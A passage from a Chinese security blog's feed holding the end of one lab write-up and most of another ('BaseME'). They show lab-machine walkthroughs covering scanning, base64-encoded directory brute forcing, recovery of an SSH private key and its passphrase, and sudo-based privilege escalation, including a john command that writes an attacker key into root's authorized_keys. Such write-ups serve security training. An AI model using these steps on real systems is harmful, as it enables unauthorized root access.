groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;发现确实会出现格式错误，只是警告出来，并没有终止代码执行。&lt;/p&gt;&#10;&lt;p&gt;还有测试的时候，发现了一些小bug : john 每种类型的hash都有自己的最大密码长度，如果你爆破的密码文件中某些密码长度大于最大长度，就只会截取最大密码长度的的字符用于爆破，比如：(你的密码长度刚好是42，最大密码长度也是42，只会截取到第42个字符再算hash用于爆破)，这个需要注意一下。&lt;/p&gt;&#10;&lt;pre&gt;&lt;code&gt;Oauth:/tmp# echo &amp;#39;$0$ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIfy3402O5EN6KOaInOukRh3bNQwoLDjEs88Wb&amp;#43;TuN3f root@kali&amp;#39; &amp;gt; hash.txt&#10;&#10;Oauth:/tmp# echo &amp;#39;ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIfy3402O5EN6KOaInOukRh3bNQwoLDjEs88Wb&amp;#43;TuN3f root@kali&amp;#39; &amp;gt; pass.txt&#10;&#10;Oauth:/tmp# sudo john --wordlist=pass.txt --format=plaintext hash.txt --field-separator-char=$&amp;#39;\n&amp;#39; --pot=/root/.ssh/authorized_keys&#10;/etc/sudoers.d/pwn_john:1:44: syntax error&#10;$dynamic_0$8f0df3c42c370aee963ce2f1d5d7f589&#10; ^&#10;using field sep char &amp;#39;&#10;&amp;#39; (0x0a)&#10;Using default input encoding: UTF-8&#10;Loaded 1 password hash (plaintext, $0$ [n/a])&#10;Warning: no OpenMP support for this hash type, consider --fork=2&#10;Press &amp;#39;q&amp;#39; or Ctrl-C to abort, almost any other key for status&#10;ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIfy3402O5EN6KOaInOukRh3bNQwoLDjEs88Wb&amp;#43;TuN3f root@kali (?)&#10;1g 0:00:00:00 DONE (2026-06-02 20:29) 33.33g/s 33.33p/s 33.33c/s 33.33C/s ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIfy3402O5EN6KOaInOukRh3bNQwoLDjEs88Wb&amp;#43;TuN3f root@kali&#10;Use the &amp;#34;--show&amp;#34; option to display all of the cracked passwords reliably&#10;Session completed&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;img loading="lazy" src='https://blog.1urkers.cn/p/oauth/image-20260602203407480.png' alt="image-20260602203407480" height="865" width="1242"&gt;&lt;/p&gt;&#10;</description></item><item><title>BaseME</title><link>https://blog.1urkers.cn/p/baseme/</link><pubDate>Sun, 31 May 2026 22:20:39 +0800</pubDate><guid>https://blog.1urkers.cn/p/baseme/</guid><category domain="https://blog.1urkers.cn/categories/%E9%9D%B6%E6%9C%BA%E5%A4%8D%E7%9B%98/">靶机复盘</category><description>&lt;p&gt;&lt;img loading="lazy" src='https://blog.1urkers.cn/p/baseme/image-20260325223829925.png' alt="image-20260325223829925" height="688" width="1773"&gt;&lt;/p&gt;&#10;&lt;h2 class="heading-element" id="前期网卡的配置"&gt;&lt;span&gt;前期网卡的配置&lt;/span&gt;&#10; &lt;a href="#%e5%89%8d%e6%9c%9f%e7%bd%91%e5%8d%a1%e7%9a%84%e9%85%8d%e7%bd%ae" class="heading-mark"&gt;&lt;svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"&gt;&lt;path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;&#10;&lt;/h2&gt;&lt;p&gt;&lt;strong&gt;在VM中先把网络切换为NAT模式&lt;/strong&gt;；再按如下操作就可以：&lt;/p&gt;&#10;&lt;p&gt;&lt;img loading="lazy" src='https://blog.1urkers.cn/p/baseme/image-20260325224022224.png' alt="image-20260325224022224" height="504" width="1014"&gt;&lt;/p&gt;&#10;&lt;p&gt;e 进入编辑模式。&lt;/p&gt;&#10;&lt;p&gt;&lt;img loading="lazy" src='https://blog.1urkers.cn/p/baseme/image-20260325224216927.png' alt="image-20260325224216927" height="462" width="718"&gt;&lt;/p&gt;&#10;&lt;p&gt;看见linux没，把 &lt;code&gt;ro&lt;/code&gt; 改为 &lt;code&gt;rw init=&amp;quot;/bin/bash&amp;quot;&lt;/code&gt;，ctrl + x，进入救援模式。&lt;/p&gt;&#10;&lt;p&gt;修改&lt;code&gt;/etc/network/interfaces&lt;/code&gt; ：&lt;/p&gt;&#10;&lt;pre&gt;&lt;code&gt;# 添加如下内容：&#10;auto ens33 # 开机自动启用网卡 &#10;iface ens33 inet dhcp # 启动后通过 DHCP 自动拿 IP&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;img loading="lazy" src='https://blog.1urkers.cn/p/baseme/image-20260325224609065.png' alt="image-20260325224609065" height="421" width="765"&gt;&lt;/p&gt;&#10;&lt;pre&gt;&lt;code&gt;service networking restart&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;这样每次虚拟机重启后，都可以重新获取ip。(大概思路就是这样)&lt;/p&gt;&#10;&lt;pre&gt;&lt;code&gt;root@kali:/home/warn# arp-scan -l&#10;Interface: eth0, type: EN10MB, MAC: 00:0c:29:74:0c:8a, IPv4: 192.168.174.130&#10;WARNING: Cannot open MAC/Vendor file ieee-oui.txt: Permission denied&#10;WARNING: Cannot open MAC/Vendor file mac-vendor.txt: Permission denied&#10;Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)&#10;192.168.174.1 00:50:56:c0:00:08 (Unknown)&#10;192.168.174.2 00:50:56:e6:a5:f9 (Unknown)&#10;192.168.174.133 00:0c:29:47:6f:55 (Unknown)&#10;192.168.174.254 00:50:56:e3:46:91 (Unknown)&#10;&#10;4 packets received by filter, 0 packets dropped by kernel&#10;Ending arp-scan 1.10.0: 256 hosts scanned in 1.895 seconds (135.09 hosts/sec). 4 responded&lt;/code&gt;&lt;/pre&gt;&lt;h2 class="heading-element" id="信息收集"&gt;&lt;span&gt;信息收集&lt;/span&gt;&#10; &lt;a href="#%e4%bf%a1%e6%81%af%e6%94%b6%e9%9b%86" class="heading-mark"&gt;&lt;svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"&gt;&lt;path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;&#10;&lt;/h2&gt;&lt;pre&gt;&lt;code&gt;root@kali:/home/warn# nmap -sV -sC 192.168.174.133 &#10;Starting Nmap 7.95 ( https://nmap.org ) at 2026-03-27 20:40 CST&#10;Nmap scan report for 192.168.174.133&#10;Host is up (0.00011s latency).&#10;Not shown: 998 closed tcp ports (reset)&#10;PORT STATE SERVICE VERSION&#10;22/tcp open ssh OpenSSH 7.9p1 Debian 10&amp;#43;deb10u2 (protocol 2.0)&#10;| ssh-hostkey: &#10;| 2048 ca:09:80:f7:3a:da:5a:b6:19:d9:5c:41:47:43:d4:10 (RSA)&#10;| 256 d0:75:48:48:b8:26:59:37:64:3b:25:7f:20:10:f8:70 (ECDSA)&#10;|_ 256 91:14:f7:93:0b:06:25:cb:e0:a5:30:e8:d3:d3:37:2b (ED25519)&#10;80/tcp open http nginx 1.14.2&#10;|_http-title: Site doesn&amp;#39;t have a title (text/html).&#10;|_http-server-header: nginx/1.14.2&#10;MAC Address: 00:0C:29:47:6F:55 (VMware)&#10;Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel&#10;&#10;Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .&#10;Nmap done: 1 IP address (1 host up) scanned in 6.71 seconds&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;开启了22端口，80端口。&lt;/p&gt;&#10;&lt;p&gt;80端口是http服务，服务为nginx。&lt;/p&gt;&#10;&lt;pre&gt;&lt;code&gt;root@kali:/home/warn# curl -i -s 192.168.174.133&#10;HTTP/1.1 200 OK&#10;Server: nginx/1.14.2&#10;Date: Fri, 27 Mar 2026 12:42:43 GMT&#10;Content-Type: text/html&#10;Content-Length: 276&#10;Last-Modified: Mon, 28 Sep 2020 07:23:35 GMT&#10;Connection: keep-alive&#10;ETag: &amp;#34;5f718f77-114&amp;#34;&#10;Accept-Ranges: bytes&#10;&#10;QUxMLCBhYnNvbHV0ZWx5IEFMTCB0aGF0IHlvdSBuZWVkIGlzIGluIEJBU0U2NC4KSW5jbHVkaW5nIHRoZSBwYXNzd29yZCB0aGF0IHlvdSBuZWVkIDopClJlbWVtYmVyLCBCQVNFNjQgaGFzIHRoZSBhbnN3ZXIgdG8gYWxsIHlvdXIgcXVlc3Rpb25zLgotbHVjYXMK&#10;&#10;&amp;lt;!--&#10;iloveyou&#10;youloveyou&#10;shelovesyou&#10;helovesyou&#10;weloveyou&#10;theyhatesme&#10;--&amp;gt;&#10;&#10;root@kali:/home/warn# echo &amp;#34;QUxMLCBhYnNvbHV0ZWx5IEFMTCB0aGF0IHlvdSBuZWVkIGlzIGluIEJBU0U2NC4KSW5jbHVkaW5nIHRoZSBwYXNzd29yZCB0aGF0IHlvdSBuZWVkIDopClJlbWVtYmVyLCBCQVNFNjQgaGFzIHRoZSBhbnN3ZXIgdG8gYWxsIHlvdXIgcXVlc3Rpb25zLgotbHVjYXMK&amp;#34; | base64 -d&#10;ALL, absolutely ALL that you need is in BASE64.&#10;Including the password that you need :)&#10;Remember, BASE64 has the answer to all your questions.&#10;-lucas&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;翻译过来：你需要的所有东西都用了base64编码，包括的你的密码；记住，base64 可以回答你所有的问题。靶机名字叫baseme，对我进行base??编码。&lt;/p&gt;&#10;&lt;pre&gt;&lt;code&gt;root@kali:/home/warn# dirsearch -u http://192.168.174.133&#10;/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html&#10; from pkg_resources import DistributionNotFound, VersionConflict&#10;&#10; _|. _ _ _ _ _ _|_ v0.4.3&#10; (_||| _) (/_(_|| (_| )&#10;&#10;Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460&#10;&#10;Output File: /home/warn/reports/http_192.168.174.133/_26-03-27_20-45-14.txt&#10;&#10;Target: http://192.168.174.133/&#10;&#10;[20:45:14] Starting: &#10; &lt;/code&gt;&lt;/pre&gt;&lt;p&gt;并没有扫出任何内容。&lt;/p&gt;&#10;&lt;pre&gt;&lt;code&gt;root@kali:/home/warn# locate common.txt&#10;/etc/theHarvester/wordlists/general/common.txt&#10;/usr/share/dirb/wordlists/common.txt&#10;/usr/share/dirb/wordlists/extensions_common.txt&#10;/usr/share/dirb/wordlists/mutations_common.txt&#10;/usr/share/fern-wifi-cracker/extras/wordlists/common.txt&#10;/usr/share/metasploit-framework/data/wordlists/http_owa_common.txt&#10;/usr/share/metasploit-framework/data/wordlists/sap_common.txt&#10;/usr/share/wfuzz/wordlist/general/common.txt&#10;/usr/share/wfuzz/wordlist/general/extensions_common.txt&#10;/usr/share/wfuzz/wordlist/general/mutations_common.txt&#10;# 我们使用这个：/usr/share/dirb/wordlists/common.txt&#10;root@kali:/home/warn# while read -r line; do echo &amp;#34;$line&amp;#34; | base64 &amp;gt;&amp;gt; ./Desktop/dirs.txt; done &amp;lt; /usr/share/dirb/wordlists/common.txt&#10;root@kali:/home/warn/Desktop# tail ./dirs.txt &#10;emlwCg==&#10;emlwZmlsZXMK&#10;emlwcwo=&#10;em9la2VuCg==&#10;em9uZQo=&#10;em9uZXMK&#10;em9vbQo=&#10;em9wZQo=&#10;em9ydW0K&#10;enQK&#10;root@kali:/home/warn/Desktop# dirsearch -u http://192.168.174.133 -w ./dirs.txt&#10;/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html&#10; from pkg_resources import DistributionNotFound, VersionConflict&#10;&#10; _|. _ _ _ _ _ _|_ v0.4.3&#10; (_||| _) (/_(_|| (_| )&#10;&#10;Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 4614&#10;&#10;Output File: /home/warn/Desktop/reports/http_192.168.174.133/_26-03-27_20-57-43.txt&#10;&#10;Target: http://192.168.174.133/&#10;&#10;[20:57:43] Starting: &#10;[20:57:46] 200 - 2KB - /aWRfcnNhCg== &#10;[20:57:49] 200 - 25B - /cm9ib3RzLnR4dAo= &#10; &#10;Task Completed&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;为何要这样做&lt;/strong&gt;：他提示我们所需要的东西都用了base64编码，通过默认目录并没有扫出，所以我们通过base64编码后再扫描，发现了两个目录。&lt;/p&gt;&#10;&lt;pre&gt;&lt;code&gt;root@kali:/home/warn/Desktop# curl -s http://192.168.174.133/aWRfcnNhCg== &#10;LS0tLS1CRUdJTiBPUEVOU1NIIFBSSVZBVEUgS0VZLS0tLS0KYjNCbGJuTnphQzFyWlhrdGRqRUFB&#10;QUFBQ21GbGN6STFOaTFqZEhJQUFBQUdZbU55ZVhCMEFBQUFHQUFBQUJCVHhlOFlVTApCdHpmZnRB&#10;ZFBncDhZWkFBQUFFQUFBQUFFQUFBRVhBQUFBQjNOemFDMXljMkVBQUFBREFRQUJBQUFCQVFDWkNY&#10;dkVQbk8xCmNiaHhxY3RCRWNCRFpqcXJGZm9sd1ZLbXBCZ1kwN00zQ0s3cE8xMFVnQnNMeVl3QXpK&#10;RXc0ZTZZZ1BOU3lDRFdGYU5US0cKMDdqZ2NncmdncmU4ZVBDTU5GQkNBR2FZSG1MckZJc0tEQ0xJ&#10;NE5FNTR0NThJVUhlWENaejcyeFRvYkwvcHRMazI2UkJuaAo3YkhHMUpqR2x4T2tPNm0rMW9GTkx0&#10;TnVEMlFQbDhzYlp0RXpYNFM5bk5aL2RweVJwTWZtQjczck4zeXlJeWxldlZERXl2CmY3Q1o3b1JP&#10;NDZ1RGdGUHk1VnprbmRDZUpGMll0WkJYZjVnamMyZmFqTVh2cStiOG9sOFJaWjZqSFhBaGlibEJY&#10;d3BBbTQKdkxZZnh6STI3QlpGbm90ZUJuYmR6d1NMNWFwQkY1Z1lXSkFIS2ovSjZNaERqMUdLQUZj&#10;MUFBQUQwTjlVRFRjVXh3TXQ1WApZRklaSzhpZUJMME5PdXdvY2RnYlV1a3RDMjFTZG5TeTZvY1cz&#10;aW1NKzNteldqUGRvQksvSG8zMzl1UG1CV0k1c2JNcnBLCnhrWk1ubCtyY1RiZ3o0c3d2OGdOdUto&#10;VWM3d1RndHJOWCtQTk1kSUFMTnBzeFlMdC9sNTZHSzhSNEo4ZkxJVTUrTW9qUnMKKzFOcllzOEo0&#10;cm5PMXFXTm9KUlpvRGxBYVlxQlY5NWNYb0FFa3dVSFZ1c3RmZ3hVdHJZS3ArWVBGSWd4OG9rTWpK&#10;Z25iaQpOTlczVHp4bHVOaTVvVWhhbEgyREoya2hLREdRVWk5Uk9GY3NFWGVKWHQzbGdwWlp0MWhy&#10;UURBMW84alRYZVM0K2RXN25aCnpqZjNwME03N2IvTnZjWkUrb1hZUTFnNVhwMVFTT1Niait0bG13&#10;NTRMN0VxYjFVaFpnblE3WnNLQ29hWTlTdUFjcW0zRTAKSUpoK0krWnYxZWdTTVMvRE9ISXhPM3Bz&#10;UWtjaUxqa3BhK0d0d1FNbDFaQUpIUWFCNnE3MEpKY0JDZlZzeWtkWTUyTEtESQpweFpZcExabXlE&#10;eDhUVGFBOEpPbXZHcGZOWmtNVTRJMGk1L1pUNjVTUkZKMU5sQkNOd2N3dE9sOWs0UFc1TFZ4TnNH&#10;UkNKCk1KcjhrNUFjMENYMDNmWEVTcG1zVVVWUysvRGovaG50SHc4OWRPOEhjcXFJVUVwZUViZlRX&#10;THZheDBDaVNoM0tqU2NlSnAKKzhnVXlER3ZDa2N5Vm5lVVFqbW1yUnN3UmhUTnh4S1JCWnNla0d3&#10;SHBvOGhEWWJVRUZacXp6TEFRYkJJQWRybDF0dDdtVgp0VkJybXBNNkN3SmR6WUVsMjFGYUs4anZk&#10;eUN3UHI1SFVndHV4clNwTHZuZGNud1BheEpXR2k0UDQ3MUREWmVSWURHY1doCmk2YklDckxRZ2VK&#10;bEhhRVVtclFDNVJkdjAzendJOVU4RFhVWi9PSGI0MFBMOE1YcUJ0VS9iNkNFVTlKdXpKcEJyS1or&#10;aysKdFNuN2hyOGhwcFQydFVTeER2QytVU01tdy9XRGZha2pmSHBvTndoN1B0NWkwY3d3cGtYRlF4&#10;SlB2UjBiTHh2WFpuKzN4dwpON2J3NDVGaEJaQ3NIQ0FiVjIraFZzUDBseXhDUU9qN3lHa0JqYTg3&#10;UzFlMHE2V1pqakI0U3ByZW5Ia083dGc1UTBIc3VNCkFpZi8wMkhIeldHK0NSL0lHbEZzTnRxMXZ5&#10;bHQyeCtZLzA5MXZDa1JPQkRhd2pIei84b2d5MkZ6ZzhKWVRlb0xrSHdER1EKTytUb3dBMTBSQVRl&#10;azZaRUl4aDZTbXRERy9WNXplV0N1RW1LNHNSVDNxMUZTdnBCMS9IK0Z4c0dDb1BJZzhGemNpR0No&#10;MgpUTHVza2NYaWFnbnM5TjFSTE9ubEhoaVpkOFJaQTBaZzdvWklhQnZhWm5oWllHeWNwQUpwV0tl&#10;YmpydG9rTFl1TWZYUkxsCjMvU0FlVWw3MkVBM20xRElueHNQZ3VGdWswMHJvTWM3N042ZXJZN3Rq&#10;T1pMVllQb1NpeWdEUjFBN2Yzell6KzBpRkk0ckwKTkQ4aWtnbVF2RjZocnd3SkJycC8weEtFYU1U&#10;Q0tMdnl5WjNlRFNkQkRQcmtUaGhGd3JQcEk2K0V4OFJ2Y1dJNmJUSkFXSgpMZG1tUlhVUy9EdE8r&#10;NjkvYWlkdnhHQVlvYisxTT0KLS0tLS1FTkQgT1BFTlNTSCBQUklWQVRFIEtFWS0tLS0tCg==&#10;# 是一段base64编码。&#10;root@kali:/home/warn/Desktop# curl -s http://192.168.174.133/aWRfcnNhCg== | base64 -d&#10;-----BEGIN OPENSSH PRIVATE KEY-----&#10;b3BlbnNzaC1rZXktdjEAAAAACmFlczI1Ni1jdHIAAAAGYmNyeXB0AAAAGAAAABBTxe8YUL&#10;BtzfftAdPgp8YZAAAAEAAAAAEAAAEXAAAAB3NzaC1yc2EAAAADAQABAAABAQCZCXvEPnO1&#10;cbhxqctBEcBDZjqrFfolwVKmpBgY07M3CK7pO10UgBsLyYwAzJEw4e6YgPNSyCDWFaNTKG&#10;07jgcgrggre8ePCMNFBCAGaYHmLrFIsKDCLI4NE54t58IUHeXCZz72xTobL/ptLk26RBnh&#10;7bHG1JjGlxOkO6m&amp;#43;1oFNLtNuD2QPl8sbZtEzX4S9nNZ/dpyRpMfmB73rN3yyIylevVDEyv&#10;f7CZ7oRO46uDgFPy5VzkndCeJF2YtZBXf5gjc2fajMXvq&amp;#43;b8ol8RZZ6jHXAhiblBXwpAm4&#10;vLYfxzI27BZFnoteBnbdzwSL5apBF5gYWJAHKj/J6MhDj1GKAFc1AAAD0N9UDTcUxwMt5X&#10;YFIZK8ieBL0NOuwocdgbUuktC21SdnSy6ocW3imM&amp;#43;3mzWjPdoBK/Ho339uPmBWI5sbMrpK&#10;xkZMnl&amp;#43;rcTbgz4swv8gNuKhUc7wTgtrNX&amp;#43;PNMdIALNpsxYLt/l56GK8R4J8fLIU5&amp;#43;MojRs&#10;&amp;#43;1NrYs8J4rnO1qWNoJRZoDlAaYqBV95cXoAEkwUHVustfgxUtrYKp&amp;#43;YPFIgx8okMjJgnbi&#10;NNW3TzxluNi5oUhalH2DJ2khKDGQUi9ROFcsEXeJXt3lgpZZt1hrQDA1o8jTXeS4&amp;#43;dW7nZ&#10;zjf3p0M77b/NvcZE&amp;#43;oXYQ1g5Xp1QSOSbj&amp;#43;tlmw54L7Eqb1UhZgnQ7ZsKCoaY9SuAcqm3E0&#10;IJh&amp;#43;I&amp;#43;Zv1egSMS/DOHIxO3psQkciLjkpa&amp;#43;GtwQMl1ZAJHQaB6q70JJcBCfVsykdY52LKDI&#10;pxZYpLZmyDx8TTaA8JOmvGpfNZkMU4I0i5/ZT65SRFJ1NlBCNwcwtOl9k4PW5LVxNsGRCJ&#10;MJr8k5Ac0CX03fXESpmsUUVS&amp;#43;/Dj/hntHw89dO8HcqqIUEpeEbfTWLvax0CiSh3KjSceJp&#10;&amp;#43;8gUyDGvCkcyVneUQjmmrRswRhTNxxKRBZsekGwHpo8hDYbUEFZqzzLAQbBIAdrl1tt7mV&#10;tVBrmpM6CwJdzYEl21FaK8jvdyCwPr5HUgtuxrSpLvndcnwPaxJWGi4P471DDZeRYDGcWh&#10;i6bICrLQgeJlHaEUmrQC5Rdv03zwI9U8DXUZ/OHb40PL8MXqBtU/b6CEU9JuzJpBrKZ&amp;#43;k&amp;#43;&#10;tSn7hr8hppT2tUSxDvC&amp;#43;USMmw/WDfakjfHpoNwh7Pt5i0cwwpkXFQxJPvR0bLxvXZn&amp;#43;3xw&#10;N7bw45FhBZCsHCAbV2&amp;#43;hVsP0lyxCQOj7yGkBja87S1e0q6WZjjB4SprenHkO7tg5Q0HsuM&#10;Aif/02HHzWG&amp;#43;CR/IGlFsNtq1vylt2x&amp;#43;Y/091vCkROBDawjHz/8ogy2Fzg8JYTeoLkHwDGQ&#10;O&amp;#43;TowA10RATek6ZEIxh6SmtDG/V5zeWCuEmK4sRT3q1FSvpB1/H&amp;#43;FxsGCoPIg8FzciGCh2&#10;TLuskcXiagns9N1RLOnlHhiZd8RZA0Zg7oZIaBvaZnhZYGycpAJpWKebjrtokLYuMfXRLl&#10;3/SAeUl72EA3m1DInxsPguFuk00roMc77N6erY7tjOZLVYPoSiygDR1A7f3zYz&amp;#43;0iFI4rL&#10;ND8ikgmQvF6hrwwJBrp/0xKEaMTCKLvyyZ3eDSdBDPrkThhFwrPpI6&amp;#43;Ex8RvcWI6bTJAWJ&#10;LdmmRXUS/DtO&amp;#43;69/aidvxGAYob&amp;#43;1M=&#10;-----END OPENSSH PRIVATE KEY-----&#10;root@kali:/home/warn/Desktop# curl -s http://192.168.174.133/aWRfcnNhCg== | base64 -d &amp;gt; rsa&lt;/code&gt;&lt;/pre&gt;&lt;h2 class="heading-element" id="漏洞利用"&gt;&lt;span&gt;漏洞利用&lt;/span&gt;&#10; &lt;a href="#%e6%bc%8f%e6%b4%9e%e5%88%a9%e7%94%a8" class="heading-mark"&gt;&lt;svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"&gt;&lt;path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;&#10;&lt;/h2&gt;&lt;pre&gt;&lt;code&gt;root@kali:/home/warn/Desktop# ssh -i ./rsa lucas@192.168.174.133&#10;Enter passphrase for key &amp;#39;./rsa&amp;#39;: &#10;# 这里需要密码。&#10;root@kali:/home/warn/Desktop# vim password.txt&#10;iloveyou&#10;youloveyou&#10;shelovesyou&#10;helovesyou&#10;weloveyou&#10;theyhatesme&#10;# 将这些内容写入到password.txt里面。&#10;root@kali:/home/warn/Desktop# while read -r line; do echo &amp;#34;$line&amp;#34;|base64 &amp;gt;&amp;gt; password2.txt; done &amp;lt; password.txt &#10; &#10;root@kali:/home/warn/Desktop# cat password2.txt &#10;&#10;aWxvdmV5b3UK&#10;eW91bG92ZXlvdQo=&#10;c2hlbG92ZXN5b3UK&#10;aGVsb3Zlc3lvdQo=&#10;d2Vsb3ZleW91Cg==&#10;dGhleWhhdGVzbWUK&#10;Cg==&#10;root@kali:/home/warn/Desktop# ssh -i ./rsa lucas@192.168.174.133&#10;Enter passphrase for key &amp;#39;./rsa&amp;#39;: &#10;Linux baseme 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2&amp;#43;deb10u1 (2020-06-07) x86_64&#10;&#10;The programs included with the Debian GNU/Linux system are free software;&#10;the exact distribution terms for each program are described in the&#10;individual files in /usr/share/doc/*/copyright.&#10;&#10;Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent&#10;permitted by applicable law.&#10;Last login: Thu Mar 26 06:11:02 2026 from 192.168.174.130&#10;lucas@baseme:~$ ^C&#10;lucas@baseme:~$ &#10;# 输入第一个发现就是密码。&#10;# 这里不用脚本的原因是：ssh 输入密码时，不允许通过管道符输入东西。&#10;lucas@baseme:~$ cat user.txt&#10; . ** &#10; * *. &#10; ,* &#10; *, &#10; , ,* &#10; ., *, &#10; / * &#10; ,* *, &#10; /. .*. &#10; * ** &#10; ,* ,* &#10; ** *. &#10; ** **. &#10; ,* ** &#10; *, ,* &#10; * ** &#10; *, .* &#10; *. ** &#10; ** ,*, &#10; ** *, &#10; &#10;HMV8nnJAJAJA &#10;# 这个就是密码&lt;/code&gt;&lt;/pre&gt;&lt;h2 class="heading-element" id="提权"&gt;&lt;span&gt;提权&lt;/span&gt;&#10; &lt;a href="#%e6%8f%90%e6%9d%83" class="heading-mark"&gt;&lt;svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"&gt;&lt;path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;&#10;&lt;/h2&gt;&lt;pre&gt;&lt;code&gt;lucas@baseme:~$ sudo -l&#10;Matching Defaults entries for lucas on baseme:&#10; env_reset, mail_badpass,&#10; secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin&#10;&#10;User lucas may run the following commands on baseme:&#10; (ALL) NOPASSWD: /usr/bin/base64&#10;lucas@baseme:~$ sudo /usr/bin/base64 